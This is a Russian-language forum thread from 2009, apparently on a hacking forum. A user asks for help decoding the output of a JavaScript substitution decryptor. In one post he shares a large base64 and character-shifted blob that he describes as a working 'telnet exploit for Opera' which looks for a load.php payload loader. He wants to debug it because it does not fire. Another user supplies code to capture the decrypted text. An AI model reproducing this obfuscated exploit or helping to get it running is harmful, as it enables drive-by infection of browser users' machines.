Не пишет в файл (php)

Discussion in 'PHP' started by sNt, 14 Jul 2009.

  1. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    PHP:
    <script>
    function decrypt(n)
    {
        var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
        for(l=0;l<n.length;l++)
        {
      ch=n.charAt(l);
      ind=key.indexOf(ch);
      if(ind>-1)
      {
          if(ind==0)
          {
        ind =79
          }
          q+=key.charAt(ind+2)
      } else {
          q+=ch
      }
        }
    document.write(q)
    }
    decrypt("lala");
    </script>
    <?php
    function r() {
    echo 
    '<script> decrypt("lala"); </script>';
    }

    $f=fopen("out.txt""w");
    fwrite($fr());
    ?>
    Почему не пишет в файл? Я даже не знаю уже, что делать... :(
     
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    )) Потому что результаты работы javascript так просто в php не переносятся
     
  3. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    А как тогда? Вообще, мне надо увидеть конечный, декодированный код. Например: есть зашифрованное слово lala. Он его там расшифровывает, но увидеть расшифреный код не представляется возможным. Как это можно сделать? А то он декодит как-то криво, вот я хочу понять, что не так...
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Что значит "увидеть не представляется возможным"???

    Я вот просто скопировал в блокнот это:

    Code:
     <script> 
    function decrypt(n) 
    { 
        var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; 
        for(l=0;l<n.length;l++) 
        { 
      ch=n.charAt(l); 
      ind=key.indexOf(ch); 
      if(ind>-1) 
      { 
          if(ind==0) 
          { 
        ind =79 
          } 
          q+=key.charAt(ind+2) 
      } else { 
          q+=ch 
      } 
        } 
    document.write(q) 
    } 
    decrypt("lala"); 
    </script>
    
    сохранил как 1.html и запустил в браузере, мне нарисовало xdxd

    Ты легенда чоли?
     
  5. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Не, такое-то он выведет. Понимаешь, если ему дать на расшифровку сплоит, то он начнет выполняться, следовательно я могу увидеть результаты работы сплойта, но не расшифрованный код его. Мне нужно именно этот код увидеть. Выложил вариант со сплойтом:

    PHP:
    <?php
    $code
    =base64_decode("Ym16d3lpZS8NCg0KeG53IGVwaT1qdXpuZXl1by5md3Fzew0KeG53IHN5anEgPSAnanVuYS5pZmknew0KeG53IG53dyA9IGVwaS5wbmV6ZiZ2ZmVlaSJcdlx2Ji5eKlx2dip7DQp4bncgdHdqID0gJ2ZlZWkidnYnKW53d1sxXSkndicpc3lqcXsNCg0KeG53IG4gPSAxew0KeG53IGMgPSAyew0KDQpzdG96ZXl1byBtdHAmbixjKiArDQp3cWV0d28gJm4gKSBjKnsgICBfDQoNCnhudyBuY3ogPSAxMjN7DQp4bncgY3phID0gMjM0ew0KeG53IHphcSA9IDQ1NnsNCg0Kc3RvemV5dW8gcHImbmN6LGN6YSx6YXEqICArDQp3cWV0d28gJnphcSAtIGN6YSAtIG5jeip7IF8NCg0KY2pub2goeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7DQpjam5vaCh5c3ducHEubXd6ID0gJ25jdXRlImNqbm9oJ3sNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ3lhJywgJ2Nqbm9oKHlzd25wcSg6eW9hdTonKnsNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ21lcmpxJywgJ2F5bWlqbnIib3VvcScqew0KYXV6dHBxb2UubmlpcW9hQ2Z5amEmY2pub2goeXN3bnBxKnsNCmNqbm9oKHlzd25wcSg6eW9hdToucXhuag0KCSZ9enV9KX1vfSl9c3l9KX1kfSl9KH0pfXlzfSl9d259KX1wfSl9cSA9IGF9KX11enRwfSl9cW99KX1lfSl9Ln0pfXp3fSl9cW59KX1lcX0pfUVqcX0pfXBxb2UmJ3lzd25wcScqe1wNCgl6dW9zeWQoeXN3bnBxLm1xZUFlZXd5Y3RlcSYneWEnLCAnenVvc3lkKHlzd25wcSg6eW9hdTonKntcDQoJenVvc3lkKHlzd25wcS5td3ogPSAndWlxd24ienVvc3lkJ3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmenVvc3lkKHlzd25wcSp7XA0KCW5paSh5c3ducHEgPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJidtend5aWUnKntcDQoJem56ZnEoeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7XA0KCW5paSh5c3ducHEubXd6ID0gJ30pdHdqKX0ne1wNCgluaWkoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCStcDQoJCXpuemZxKHlzd25wcS5td3ogPSAndWlxd24iem56ZnEne1wNCgkJem56ZnEoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCQkrXA0KCQkJem56ZnEgPSB6bnpmcSh5c3ducHEuenVvZXFvZUR1enRwcW9lLnpmeWphTnVhcW1bMF0ueW9vcXdIVE1MLmV1VWlpcXdDbm1xJip7XA0KCQkJeG53IHdxID0gb3E6IFJxZEVsaSYnJk9QUlxcXFw6KzVfLkVYRSpidlREL1xcXFxtXmJURC9cXFxcYSlidlREL1xcXFxtXmJURC9iQSBIUkVGPVx9JyluaWkoeXN3bnBxLm13ei5ldVVpaXF3Q25tcSYqLCAnJyp7XA0KCQkJc3lqcW9ucHEgPSB6bnpmcS5wbmV6ZiZ3cSp7XA0KCQkJenVvc3lkKHlzd25wcSg6eW9hdToucXhualwNCgkJCSZcfVwNCgkJCXVpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJyx1aXF3bi5kcWVQd3FzcXdxb3pxJidVbXF3IFB3cXNtJywnQ256ZnEgRHl3cXpldXdyNCcqKWlud3FvZS5zeWpxb25wcVsxXSp7XA0KCQkJbmlpKGp5b2ggPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJiduJyp7XA0KCQkJbmlpKGp5b2gubXFlQWVld3ljdGVxJidmd3FzJywgJ2VvMzI3MCJ2dm91ZWZ5b2QnKntcDQoJCQluaWkoanlvaC56anl6aCYqe1wNCgkJCW1xZVR5cHF1dGUmc3RvemV5dW8gJiogK3VpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJywnZXFqb3FlLnFscScqXywxMDAwKntcDQoJCQlcfSp7XA0KCQlfe1wNCgkJYXV6dHBxb2UubmlpcW9hQ2Z5amEmem56ZnEoeXN3bnBxKntcDQoJX3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmbmlpKHlzd25wcSp7fSp7DQoNCg0KeG53IGxyayA9IDEyM3sNCnhudyBsbHIgPSAxMTJ7DQoNCnN0b3pleXVvIG10cCZscmssbGxyKiArDQp3cWV0d28gJmxyayApIGxscip7ICAgXw0KDQoNCmJ2bXp3eWllLw==");
    ?>
    <script> 
    function decrypt(n) 

        var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; 
        for(l=0;l<n.length;l++) 
        { 
      ch=n.charAt(l); 
      ind=key.indexOf(ch); 
      if(ind>-1) 
      { 
          if(ind==0) 
          { 
        ind =79 
          } 
          q+=key.charAt(ind+2) 
      } else { 
          q+=ch 
      } 
        } 
    document.write(q) 

    decrypt("<?=$code?>"); 
    </script> 
    Сплойт, почему-то, не пашет, хотя сам по себе он абсолютно рабочий. Есть подозрения, что дешифровщик его неверно расшифровывает, поэтоу я и хочу увидеть конечный код, который передается браузеру. В данном случае сплойт ищет путь к load.php (должен быть той же папке, из которой запущен сплоит). Это телнет сплоит под оперу.
     
    #5 sNt, 14 Jul 2009
    Last edited: 14 Jul 2009
  6. VAran

    VAran Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    51
    Likes Received:
    15
    Reputations:
    4
    может проще выполнять твоё дешифрование в php не в js?
    если нет, и если я правильно понял что тебе нужно, то попробуй например так:
    PHP:
    <script> 
    function decrypt(n) 

        var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; 
        for(l=0;l<n.length;l++) 
        { 
      ch=n.charAt(l); 
      ind=key.indexOf(ch); 
      if(ind>-1) 
      { 
          if(ind==0) 
          { 
        ind =79 
          } 
          q+=key.charAt(ind+2) 
      } else { 
          q+=ch 
      } 
        } 
    location.replace(document.location + "?decr=" + q);


    </script> 
    <input type="text" id="encr"/><br/>
    <input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/>
    <?php 
    if(isset($_GET['decr']))
    {
        
    $f=fopen("out.txt""w"); 
        
    fwrite($f$_GET['decr']); 
    }
    ?> 
     
  7. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    thx огроменное. Имненно то, что я хотел )))